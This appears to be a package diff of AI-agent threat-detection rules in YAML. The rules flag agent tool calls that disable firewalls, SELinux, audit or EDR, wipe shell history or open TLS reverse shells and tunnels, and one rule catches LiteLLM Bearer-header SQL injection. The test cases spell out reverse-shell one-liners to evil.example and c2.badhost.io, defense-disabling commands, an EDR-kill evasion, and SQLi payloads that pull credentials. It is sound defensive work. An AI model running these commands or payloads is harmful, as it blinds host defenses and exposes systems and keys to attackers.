agent-threat-rules 3.5.5 → 3.5.7

package/rules/excessive-autonomy/ATR-2026-01993-t1562-agent-impair-defenses.yaml

@@ -0,0 +1,125 @@
+title: Agent Disabling of Host Security Controls
+id: ATR-2026-01993
+rule_version: 1
+status: draft
+description: |
+  Detects an agent tool call that disables or tears down a host defense:
+  stopping/flushing the firewall, disabling SELinux/AppArmor, turning off or
+  clearing the audit daemon, stopping an EDR/AV service, or wiping shell
+  history to hide activity. This is the agent-context form of ATT&CK T1562
+  (Impair Defenses) — the agent is being driven to blind the host before or
+  during an intrusion.
+  Detects: explicit disable/stop/flush/clear commands against named security
+  controls.
+  Does NOT detect: application/build teardown (docker compose down, rm
+  node_modules), or reading the status of a control.
+author: ATR Community (sigma-gap-18tech)
+date: 2026/07/05
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: high
+references:
+  mitre_attack:
+  - "T1562 - Impair Defenses"
+  mitre_atlas:
+  - "AML.T0011 - User Execution"
+  owasp_agentic:
+  - "ASI01:2026 - Agent Behaviour Hijack"
+  owasp_llm:
+  - LLM06:2025 - Excessive Agency
+tags:
+  category: excessive-autonomy
+  subcategory: impair-defenses
+  scan_target: both
+  confidence: high
+agent_source:
+  type: tool_call
+  framework:
+  - any
+  provider:
+  - any
+detection:
+  conditions:
+  - field: content
+    operator: regex
+    value: "(?i)(systemctl\\s+(stop|disable|mask)\\s+(firewalld|ufw|auditd|falcon-sensor|crowdstrike|osqueryd|wazuh-agent|clamav-daemon)|ufw\\s+disable|iptables\\s+-F\\b|service\\s+(auditd|firewalld)\\s+stop)"
+    description: "Stopping/disabling firewall, audit, or EDR/AV services"
+  - field: content
+    operator: regex
+    value: "(?i)(setenforce\\s+0|selinux=disabled|aa-disable\\s+\\S+|systemctl\\s+(stop|disable)\\s+apparmor)"
+    description: "Disabling SELinux or AppArmor mandatory-access-control"
+  - field: content
+    operator: regex
+    value: "(?i)(auditctl\\s+-D\\b|history\\s+-c\\b[^\\n]{0,20}(rm|>\\s*~?/?\\.?bash_history)|(\\bcat\\s+/dev/null|:)\\s*>\\s*~?/\\.?bash_history|export\\s+HISTFILE=/dev/null)"
+    description: "Clearing audit rules or wiping shell history to hide tracks"
+  - field: tool_args
+    operator: regex
+    value: "(?i)(systemctl\\s+(stop|disable|mask)\\s+(firewalld|ufw|auditd|falcon-sensor|crowdstrike|wazuh-agent)|setenforce\\s+0|ufw\\s+disable)"
+    description: "Same defense-disable resolved from tool_args"
+  condition: any
+  false_positives:
+  - "A sanctioned maintenance window that briefly stops a security agent for an upgrade (context-dependent)"
+  - "A CI job that resets iptables in an isolated throwaway container"
+response:
+  actions:
+  - block_tool
+  - alert
+  - snapshot
+  auto_response_threshold: high
+  message_template: |
+    [ATR-2026-01993] Agent tool call disables a host security control
+    (firewall / SELinux / audit / EDR / history). Likely T1562 impair-defenses.
+    Tool call blocked pending review.
+confidence: 82
+test_cases:
+  true_positives:
+  - input: "systemctl stop auditd && systemctl disable auditd"
+    expected: triggered
+    description: "Stopping and disabling the audit daemon"
+  - input: "setenforce 0"
+    expected: triggered
+    description: "Putting SELinux into permissive mode"
+  - input: "ufw disable && iptables -F"
+    expected: triggered
+    description: "Disabling the firewall and flushing iptables"
+  - input: "systemctl stop falcon-sensor"
+    expected: triggered
+    description: "Stopping the CrowdStrike EDR sensor"
+  - input: "history -c && rm -f ~/.bash_history"
+    expected: triggered
+    description: "Clearing shell history to hide activity"
+  true_negatives:
+  - input: "docker compose up -d && docker compose logs -f"
+    expected: not_triggered
+    description: "Normal container lifecycle, no security control"
+  - input: "rm -rf node_modules && npm install"
+    expected: not_triggered
+    description: "Rebuilding dependencies, not impairing defenses"
+  - input: "systemctl status firewalld"
+    expected: not_triggered
+    description: "Reading firewall status, not disabling it"
+  - input: "systemctl restart nginx"
+    expected: not_triggered
+    description: "Restarting an app service, not a security control"
+  - input: "git log --oneline -20"
+    expected: not_triggered
+    description: "Viewing git history, not shell-history wipe"
+evasion_tests:
+- input: "kill -9 $(pgrep -f falcon-sensor)"
+  expected: not_triggered
+  bypass_technique: process_kill_by_pid
+  notes: "Kills the EDR via pgrep/kill instead of systemctl; the service name is resolved indirectly, out of this pattern's scope."
+compliance:
+  eu_ai_act:
+  - article: '15'
+    context: EU AI Act Article 15 cybersecurity/robustness requirements are engaged by detection of impairing host security defenses by an agent, a security-relevant event against an AI system.
+    strength: secondary
+  nist_ai_rmf:
+  - subcategory: MS.2.7
+    context: NIST AI RMF MEASURE 2.7 (security and resilience) is supported by runtime detection of impairing host security defenses by an agent.
+    strength: secondary
+  iso_42001:
+  - clause: '8.1'
+    context: ISO/IEC 42001 clause 8.1 operational controls cover detection of impairing host security defenses by an agent against AI-agent tooling.
+    strength: secondary

package/rules/excessive-autonomy/ATR-2026-01994-t1573-agent-encrypted-c2-channel.yaml

@@ -0,0 +1,123 @@
+title: Agent Establishing an Encrypted Reverse Channel or Tunnel
+id: ATR-2026-01994
+rule_version: 1
+status: draft
+description: |
+  Detects an agent tool call that opens a covert encrypted channel out of the
+  host: an openssl/ncat TLS reverse shell, an `ssh -R` remote-forward tunnel to
+  an external endpoint, or a public tunnel (ngrok/cloudflared/localtunnel)
+  exposing an internal service. This is the agent-context form of ATT&CK T1573
+  (Encrypted Channel) — encrypted egress used to hide C2 or data movement.
+  Detects: TLS reverse-shell one-liners, reverse SSH forwards, public
+  tunnel exposure of internal ports.
+  Does NOT detect: ordinary HTTPS requests, or a normal deploy to a managed
+  platform (vercel/railway), or a local SSH forward for dev.
+author: ATR Community (sigma-gap-18tech)
+date: 2026/07/05
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: high
+references:
+  mitre_attack:
+  - "T1573 - Encrypted Channel"
+  mitre_atlas:
+  - "AML.T0011 - User Execution"
+  owasp_agentic:
+  - "ASI01:2026 - Agent Behaviour Hijack"
+  owasp_llm:
+  - LLM06:2025 - Excessive Agency
+tags:
+  category: excessive-autonomy
+  subcategory: encrypted-c2
+  scan_target: both
+  confidence: high
+agent_source:
+  type: tool_call
+  framework:
+  - any
+  provider:
+  - any
+detection:
+  conditions:
+  - field: content
+    operator: regex
+    value: "(?i)(openssl\\s+s_client[^\\n]{0,60}-connect\\s+[^\\n]{0,40}(exec|/bin/(ba)?sh|\\|\\s*/bin)|ncat\\s+[^\\n]{0,40}--ssl[^\\n]{0,40}-e\\s+/bin/(ba)?sh|ncat\\s+[^\\n]{0,40}-e\\s+/bin/(ba)?sh[^\\n]{0,20}--ssl)"
+    description: "TLS-wrapped reverse shell via openssl s_client / ncat --ssl -e"
+  - field: content
+    operator: regex
+    value: "(?i)ssh\\s+[^\\n]{0,60}-R\\s*\\d{2,5}:(localhost|127\\.0\\.0\\.1|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}):\\d{2,5}\\s+[^\\n]{0,40}@[^\\n]{0,40}\\.(?!internal|corp|local)[a-z]{2,}"
+    description: "Reverse SSH remote-forward exposing an internal port to an external host"
+  - field: content
+    operator: regex
+    value: "(?i)(ngrok\\s+(tcp|http)\\s+\\d{2,5}|cloudflared\\s+tunnel[^\\n]{0,40}--url\\s+[^\\n]{0,30}localhost:\\d{2,5}|lt\\s+--port\\s+\\d{2,5})"
+    description: "Public tunnel (ngrok/cloudflared/localtunnel) exposing an internal service"
+  - field: tool_args
+    operator: regex
+    value: "(?i)(openssl\\s+s_client[^\\n]{0,60}-connect[^\\n]{0,40}(exec|/bin/(ba)?sh)|ngrok\\s+(tcp|http)\\s+\\d{2,5})"
+    description: "Same encrypted-channel primitive resolved from tool_args"
+  condition: any
+  false_positives:
+  - "A developer intentionally using ngrok/cloudflared to demo a local app (should be allowlisted per environment)"
+  - "openssl s_client used purely to inspect a certificate (no exec / shell)"
+response:
+  actions:
+  - block_tool
+  - alert
+  - snapshot
+  auto_response_threshold: high
+  message_template: |
+    [ATR-2026-01994] Agent tool call opens an encrypted reverse channel or
+    public tunnel (T1573). Tool call blocked pending review.
+confidence: 78
+test_cases:
+  true_positives:
+  - input: "ncat --ssl 203.0.113.9 8443 -e /bin/bash"
+    expected: triggered
+    description: "TLS reverse shell via ncat --ssl -e"
+  - input: "mkfifo /tmp/s; openssl s_client -connect evil.example:443 -quiet < /tmp/s | /bin/sh > /tmp/s"
+    expected: triggered
+    description: "openssl s_client reverse shell"
+  - input: "ssh -R 8080:localhost:3000 attacker@c2.badhost.io"
+    expected: triggered
+    description: "Reverse SSH forward exposing local port to external host"
+  - input: "ngrok tcp 22"
+    expected: triggered
+    description: "Public ngrok tunnel exposing SSH"
+  - input: "cloudflared tunnel --url localhost:8080"
+    expected: triggered
+    description: "Cloudflared tunnel exposing an internal service"
+  true_negatives:
+  - input: "vercel deploy --prod"
+    expected: not_triggered
+    description: "Managed platform deploy over HTTPS"
+  - input: "railway up --service threat-cloud"
+    expected: not_triggered
+    description: "Normal Railway deploy"
+  - input: "openssl s_client -connect api.stripe.com:443 -servername api.stripe.com < /dev/null"
+    expected: not_triggered
+    description: "Certificate inspection, no exec/shell"
+  - input: "ssh -L 5432:localhost:5432 me@db-bastion.internal"
+    expected: not_triggered
+    description: "Local forward (-L) to an internal bastion for dev"
+  - input: "curl -s https://langfuse.com/llms.txt"
+    expected: not_triggered
+    description: "Ordinary HTTPS request"
+evasion_tests:
+- input: "python3 -c 'import ssl,socket,subprocess,os; ...'"
+  expected: not_triggered
+  bypass_technique: scripted_tls_shell
+  notes: "A Python ssl-socket reverse shell hides the primitives inside code; not covered by the shell-command shapes here."
+compliance:
+  eu_ai_act:
+  - article: '15'
+    context: EU AI Act Article 15 cybersecurity/robustness requirements are engaged by detection of establishing an encrypted command-and-control channel by an agent, a security-relevant event against an AI system.
+    strength: secondary
+  nist_ai_rmf:
+  - subcategory: MS.2.7
+    context: NIST AI RMF MEASURE 2.7 (security and resilience) is supported by runtime detection of establishing an encrypted command-and-control channel by an agent.
+    strength: secondary
+  iso_42001:
+  - clause: '8.1'
+    context: ISO/IEC 42001 clause 8.1 operational controls cover detection of establishing an encrypted command-and-control channel by an agent against AI-agent tooling.
+    strength: secondary

package/rules/privilege-escalation/ATR-2026-00040-privilege-escalation.yaml

@@ -91,35 +91,6 @@ agent_source:
     - any
 detection:
   conditions:
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:exec|execute|shell|bash|cmd|terminal|subprocess|os_command|system_call|run_command|powershell)
-      description: System shell or command execution tool invocation
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:modify_permissions?|grant_access|elevate|set_role|change_acl|chmod|chown|sudo|setuid|setgid)
-      description: Permission modification or privilege elevation tools
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:create_user|delete_user|modify_user|reset_password|manage_roles?|assign_role|revoke_role|add_admin)
-      description: User management and role assignment operations
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:drop_(?:database|table|index)|truncate_table|alter_schema|create_database|db_admin|migrate_database)
-      description: Database administration and schema operations
-    - field: tool_name
-      operator: regex
-      value: >-
-        (?i)(?:update_config|modify_settings|change_environment|set_env|deploy|restart_service|stop_service|kill_process)
-      description: System configuration and service management operations
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:manage_firewall|update_security_group|modify_iam|create_api_key|rotate_secret|manage_certificates?)
-      description: Security infrastructure management operations
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:access_audit_log|clear_logs?|purge_logs?|modify_audit|disable_(?:monitoring|logging|alerting))
-      description: Audit tampering and monitoring evasion operations
     - field: tool_args
       operator: regex
       value: >-
@@ -137,10 +108,6 @@ detection:
       operator: regex
       value: (?i)(?:kubectl\s+exec|kubectl\s+(?:create|apply)\s+.*(?:clusterrole|rolebinding)|kubectl\s+auth\s+can-i)
       description: Kubernetes privilege escalation commands
-    - field: tool_name
-      operator: regex
-      value: (?i)(?:write_file|delete_file|rm\s+-rf|remove_directory|format_disk|wipe)
-      description: Destructive file system operations
     - field: tool_args
       operator: regex
       value: (?i)(?:chmod\s+(?:[2467][0-7]{3}|[0-7]{0,3}7[0-7]{0,2})|chmod\s+[ug]\+s|chown\s+root|setcap\s+)

package/rules/privilege-escalation/ATR-2026-00204-stealth-execution-persistence.yaml

@@ -11,7 +11,7 @@ author: "TYSYS (Wind) — skill-sanitizer project"
 date: "2026/04/05"
 schema_version: "0.1"
 detection_tier: pattern
-maturity: test
+maturity: stable
 severity: high
 
 references:

package/rules/privilege-escalation/ATR-2026-00451-litellm-admin-sqli-cisa-kev.yaml

@@ -1,26 +1,28 @@
-title: "LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208)"
+title: "LiteLLM Proxy Authorization-Header SQL Injection — CISA KEV (CVE-2026-42208)"
 id: ATR-2026-00451
-rule_version: 1
+rule_version: 2
 status: experimental
 description: >
-  Detects exploitation of CVE-2026-42208 (Critical, CVSS 9.3), an
-  unauthenticated SQL injection in LiteLLM proxy admin endpoints
-  (/team, /key, /user, /spend, /budget). Added to CISA's Known
-  Exploited Vulnerabilities catalog on 2026-05-08 with federal
-  remediation due 2026-05-11; active exploitation observed against
-  financial services and healthcare deployments. The vulnerable
-  endpoint concatenates path / query / body parameters directly into
-  Postgres queries, allowing classic SQLi shapes (tautology
-  authentication bypass `' OR 1=1 --`, UNION-based exfiltration of
-  api_keys / users / model_bindings tables, time-based blind via
-  `pg_sleep()`, DROP / TRUNCATE primitives for destructive impact).
-  This rule detects exploit payloads landing on the admin endpoint
-  surface — focused on the LiteLLM-specific path prefixes so generic
-  SQLi false positives elsewhere do not light up. CWE-89.
-  Patches in LiteLLM >= 1.48.3; this rule detects exploit attempts
-  against unpatched deployments and provides defence-in-depth
-  post-patch by catching the SQLi payload shape regardless of upstream
-  patch state.
+  Detects exploitation of CVE-2026-42208 (Critical, pre-auth SQL
+  injection in the LiteLLM proxy). The injection surface is the
+  `Authorization: Bearer` header value, NOT a URI/admin path: LiteLLM's
+  API-key verification concatenates the caller-supplied Bearer token
+  directly into a SELECT against the `LiteLLM_VerificationToken` table
+  without parameter binding. Because the check runs before
+  authentication is decided, any HTTP client that can reach the proxy
+  can inject on any route (for example `POST /chat/completions`) — no
+  admin endpoint or credentials required. A single quote escapes the
+  string literal and appends arbitrary SQL, letting an attacker read or
+  modify the backend Postgres (notably `litellm_credentials` /
+  `litellm_config`, which hold upstream provider keys). Added to CISA's
+  Known Exploited Vulnerabilities catalog on 2026-05-08; exploited in
+  the wild within ~26 hours of advisory publication. Affected versions
+  >= 1.81.16, < 1.83.7 (GHSA-r75f-5x8p-qvmc). This rule matches SQLi
+  payload shapes (tautology auth bypass `' OR 1=1 --`, UNION-based
+  exfiltration, `pg_sleep()` blind, stacked DROP/TRUNCATE, metadata
+  recon) carried inside an `Authorization`/`Bearer` token, and provides
+  defence-in-depth post-patch by catching the payload shape regardless
+  of upstream patch state. CWE-89.
 author: "ATR Community"
 date: "2026/05/12"
 schema_version: "0.1"
@@ -85,7 +87,7 @@ compliance:
 
 tags:
   category: privilege-escalation
-  subcategory: admin-endpoint-sqli-cve-kev
+  subcategory: auth-header-sqli-cve-kev
   scan_target: both
   confidence: high
 
@@ -107,43 +109,38 @@ detection:
   conditions:
     - field: content
       operator: regex
-      value: '(?i)/(?:team|key|user|spend|budget|customer|model|organization)/[^?\n]{0,80}[\x27"]\s*(?:or|and)\s+(?:1\s*=+\s*1|true\b|\d+\s*=+\s*\d+)\s*(?:--(?=\s|$|["\x27\)])|/\*)'
-      description: "LiteLLM admin endpoint path with classic tautology SQLi (1=1 / true / N=N) + SQL-comment terminator (-- at EOL or /*) — CISA KEV CVE-2026-42208 canonical exploit shape; excludes markdown `#` heading"
+      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,80}[\x27"]\s*(?:or|and)\s+(?:1\s*=+\s*1|true\b|\d+\s*=+\s*\d+)\s*(?:--(?=\s|$|["\x27\)])|/\*|#)'
+      description: "Authorization: Bearer token carrying classic tautology SQLi (1=1 / true / N=N) + SQL-comment terminator — CISA KEV CVE-2026-42208 canonical pre-auth exploit shape (injection is in the Bearer value, concatenated into the key-verification SELECT)"
 
     - field: content
       operator: regex
-      value: '(?i)/(?:team|key|user|spend|budget|customer|model|organization)/[^?\n]{0,80}[\x27"]?\s*;\s*(?:drop|truncate|delete)\s+(?:table|from)\s+\w'
-      description: "LiteLLM admin endpoint path with stacked destructive statement (DROP/TRUNCATE/DELETE TABLE)"
+      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,100}[\x27"]?\s*;\s*(?:drop|truncate|delete)\s+(?:table|from)\s+\w'
+      description: "Authorization: Bearer token with stacked destructive statement (DROP/TRUNCATE/DELETE TABLE) — CVE-2026-42208"
 
     - field: content
       operator: regex
-      value: '(?i)/(?:team|key|user|spend|budget|customer|model|organization)/[^?\n]{0,120}\bunion\s+(?:all\s+)?select\s+'
-      description: "LiteLLM admin endpoint with UNION SELECT exfiltration probe"
+      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\bunion\s+(?:all\s+)?select\s+'
+      description: "Authorization: Bearer token with UNION SELECT exfiltration probe against the LiteLLM Postgres backend — CVE-2026-42208"
 
     - field: content
       operator: regex
-      value: '(?i)/(?:team|key|user|spend|budget|customer|model|organization)/[^?\n]{0,120}\bpg_sleep\s*\(\s*\d+\s*\)'
-      description: "LiteLLM admin endpoint with Postgres time-based blind primitive `pg_sleep(N)`"
+      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\bpg_sleep\s*\(\s*\d+\s*\)'
+      description: "Authorization: Bearer token with Postgres time-based blind primitive `pg_sleep(N)` — CVE-2026-42208 blind SQLi"
 
     - field: content
       operator: regex
-      value: '(?i)\b(?:team_id|key_id|user_id|customer_id|model_id)\b["\x27]?\s*[:=]\s*["\x27]?[^"\x27\n]{0,40}[\x27"]\s*(?:or|and)\s+(?:1\s*=+\s*1|true\b|\d+\s*=+\s*\d+)\s*(?:--(?=\s|$|["\x27\)])|/\*)'
-      description: "LiteLLM admin endpoint parameter (team_id/key_id/user_id/customer_id/model_id) carrying a tautology + SQL-comment terminator (handles JSON key form team_id\":\")"
+      value: '(?i)\bbearer\s+[^\n"]{0,120}\b(?:litellm_verificationtoken|litellm_credentials|litellm_config)\b[^\n]{0,40}(?:\bunion\b|\bselect\b|[\x27"]\s*(?:or|and)\b|;)'
+      description: "Bearer token referencing a LiteLLM backend table (LiteLLM_VerificationToken / litellm_credentials / litellm_config) in an injection context — direct CVE-2026-42208 exfil target"
 
     - field: content
       operator: regex
-      value: '(?i)\b(?:team_id|key_id|user_id|customer_id|model_id)\b[^\n]{0,80}\bunion\s+(?:all\s+)?select\b'
-      description: "Admin-endpoint parameter carrying UNION SELECT — exfil chain (handles JSON key form)"
+      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\b(?:information_schema\.tables|pg_catalog\.\w+|pg_user|pg_shadow)\b'
+      description: "Authorization: Bearer token probing Postgres metadata views (information_schema.tables, pg_user) — recon stage of CVE-2026-42208; requires concrete metadata identifiers"
 
     - field: content
       operator: regex
-      value: '(?i)(?:litellm|proxy)\b[^.\n]{0,80}/(?:team|key|user|spend|budget)/[^?\n]{0,120}\b(?:information_schema\.tables|pg_catalog\.\w+|pg_user|pg_shadow|version\s*\(\s*\))\b'
-      description: "LiteLLM proxy admin path probing Postgres metadata views (information_schema.tables, pg_user, version()) — recon stage of CVE-2026-42208 exploitation; requires concrete metadata identifiers, not bare `current_user`"
-
-    - field: content
-      operator: regex
-      value: '(?i)/(?:team|key|user|spend|budget|customer|model|organization)/[^?\n]{0,120}\b(?:extractvalue|updatexml|load_extension)\s*\('
-      description: "LiteLLM admin endpoint with error-based / out-of-band SQLi primitives (extractvalue, updatexml, load_extension)"
+      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\b(?:extractvalue|updatexml|load_extension)\s*\('
+      description: "Authorization: Bearer token with error-based / out-of-band SQLi primitives (extractvalue, updatexml, load_extension) — CVE-2026-42208"
 
 response:
   actions:
@@ -155,59 +152,59 @@ response:
     - security_team
 
 remediation: >
-  Upgrade LiteLLM proxy to >= 1.48.3 immediately — CISA KEV listing
-  with federal remediation due 2026-05-11 means active exploitation
-  is occurring in the wild. Rotate every provider API key and user
-  credential that the proxy database has held since deployment.
-  Audit Postgres logs for queries against api_keys, users,
-  model_bindings, and budget tables originating from the proxy
-  service account. Replace string-concatenated SQL in admin handlers
-  with parameterised queries / a query builder. Restrict admin
-  endpoint exposure to a private network or VPN until upgrade is
-  verified.
+  Upgrade LiteLLM proxy to >= 1.83.7 immediately — CISA KEV listing
+  means active exploitation is occurring in the wild (first hit
+  observed ~26 hours after advisory publication). Rotate every
+  upstream provider API key and credential the proxy database has held
+  since deployment — the injection targets `litellm_credentials` /
+  `litellm_config`, so assume provider keys are compromised. Audit
+  Postgres logs for queries against `LiteLLM_VerificationToken`,
+  `litellm_credentials`, and `litellm_config` originating from the
+  proxy service account. The fix replaces string-concatenated SQL in
+  the API-key verification path with parameterised queries. If a patch
+  window is unavailable, place the proxy behind a reverse proxy that
+  rejects any `Authorization` header value containing a single quote,
+  parenthesis, or SQL keyword (UNION, SELECT, OR, --).
 
 test_cases:
   true_positives:
-    - input: "GET /team/1' OR 1=1 -- HTTP/1.1"
-      expected: triggered
-      description: "Canonical tautology SQLi against /team admin endpoint — CISA KEV CVE-2026-42208 shape"
-    - input: 'GET /key/foo''; DROP TABLE api_keys -- '
+    - input: "Authorization: Bearer sk-1234' OR 1=1 -- "
       expected: triggered
-      description: "Stacked DROP TABLE against /key admin endpoint"
-    - input: "GET /user/1 UNION ALL SELECT api_key, user_id FROM api_keys --"
+      description: "Canonical tautology SQLi in the Bearer token — CISA KEV CVE-2026-42208 pre-auth exploit shape"
+    - input: "authorization: bearer x'; DROP TABLE LiteLLM_VerificationToken -- "
       expected: triggered
-      description: "UNION-based exfil of api_keys via /user admin endpoint"
-    - input: "GET /spend/bob' AND pg_sleep(5)-- HTTP/1.1"
+      description: "Stacked DROP TABLE injected via the Bearer value"
+    - input: "Authorization: Bearer foo' UNION ALL SELECT credential_values FROM litellm_credentials -- "
       expected: triggered
-      description: "Time-based blind SQLi via pg_sleep on /spend admin endpoint"
-    - input: '{"team_id":"abc'' or 1=1 --"}'
+      description: "UNION-based exfil of litellm_credentials via the Bearer header"
+    - input: "Authorization: Bearer x' AND pg_sleep(5)-- "
       expected: triggered
-      description: "team_id parameter carrying tautology + comment terminator"
-    - input: '{"key_id":"x'' UNION ALL SELECT api_key FROM api_keys --"}'
+      description: "Time-based blind SQLi via pg_sleep in the Bearer token"
+    - input: "Bearer sk-abc' UNION SELECT k FROM litellm_config --"
       expected: triggered
-      description: "key_id parameter with UNION exfil"
-    - input: "litellm proxy /budget/1 information_schema.tables current_user"
+      description: "Bearer value referencing a LiteLLM backend table in a UNION exfil"
+    - input: "Authorization: Bearer 1' AND (SELECT 1 FROM information_schema.tables)-- "
       expected: triggered
-      description: "Recon stage probing Postgres metadata via /budget admin endpoint"
-    - input: "GET /team/1' AND extractvalue(1,concat(0x7e,(SELECT version())))-- HTTP/1.1"
+      description: "Recon stage probing Postgres metadata via the Bearer header"
+    - input: "Authorization: Bearer a' AND extractvalue(1,concat(0x7e,(SELECT version())))-- "
       expected: triggered
-      description: "Error-based SQLi using extractvalue against /team admin endpoint"
+      description: "Error-based SQLi using extractvalue in the Bearer token"
   true_negatives:
-    - input: "LiteLLM 1.48.3 release notes: parameterised query builder replaces concat in admin endpoints. Mitigates CVE-2026-42208 (CISA KEV)."
+    - input: "LiteLLM 1.83.7 release notes: parameterised query replaces concat in the API-key verification path. Mitigates CVE-2026-42208 (CISA KEV)."
       expected: not_triggered
       description: "Patch changelog mentioning the CVE should not trigger"
-    - input: "CISA added CVE-2026-42208 to the KEV catalog on 2026-05-08 with federal remediation due 2026-05-11."
+    - input: "CISA added CVE-2026-42208 to the KEV catalog on 2026-05-08; the injection is in the Authorization Bearer header."
       expected: not_triggered
-      description: "Defensive awareness post about the KEV listing"
-    - input: "GET /team/abc123 HTTP/1.1"
+      description: "Defensive awareness post describing the CVE should not trigger"
+    - input: "Authorization: Bearer sk-proj-abc123def456ghi789"
       expected: not_triggered
-      description: "Benign admin-endpoint GET without SQLi payload"
-    - input: 'curl -X POST /key -d ''{"alias":"prod","spend_limit":100}'''
+      description: "Benign Bearer token with no SQLi payload"
+    - input: 'curl -H "Authorization: Bearer $LITELLM_KEY" -X POST /chat/completions'
       expected: not_triggered
-      description: "Standard /key endpoint POST with normal payload"
-    - input: "The /spend endpoint returns aggregated cost per team for the last 30 days."
+      description: "Standard authenticated request with a normal Bearer token"
+    - input: "Use the Authorization header with a Bearer token to call any LiteLLM route."
       expected: not_triggered
-      description: "API documentation describing /spend behaviour"
-    - input: 'team_id = "team_abc123"'
+      description: "API documentation describing Bearer auth"
+    - input: 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'
       expected: not_triggered
-      description: "Realistic team_id value with no injection content"
+      description: "Realistic JWT-style Bearer token with no injection content"

package/rules/privilege-escalation/ATR-2026-00539-crewai-codeinterpreter-sandbox-escape-rce.yaml

@@ -36,7 +36,7 @@ author: "ATR Community"
 date: "2026/05/28"
 schema_version: "0.1"
 detection_tier: pattern
-maturity: experimental
+maturity: test
 severity: critical
 
 references:

package/rules/privilege-escalation/ATR-2026-00546-crewai-json-loader-local-file-read.yaml

@@ -24,7 +24,7 @@ author: "ATR Community"
 date: "2026/05/28"
 schema_version: "0.1"
 detection_tier: pattern
-maturity: experimental
+maturity: test
 severity: high
 
 references:

package/rules/privilege-escalation/ATR-2026-00547-crewai-rag-url-ssrf-bypass.yaml

@@ -27,7 +27,7 @@ author: "ATR Community"
 date: "2026/05/28"
 schema_version: "0.1"
 detection_tier: pattern
-maturity: experimental
+maturity: test
 severity: high
 
 references: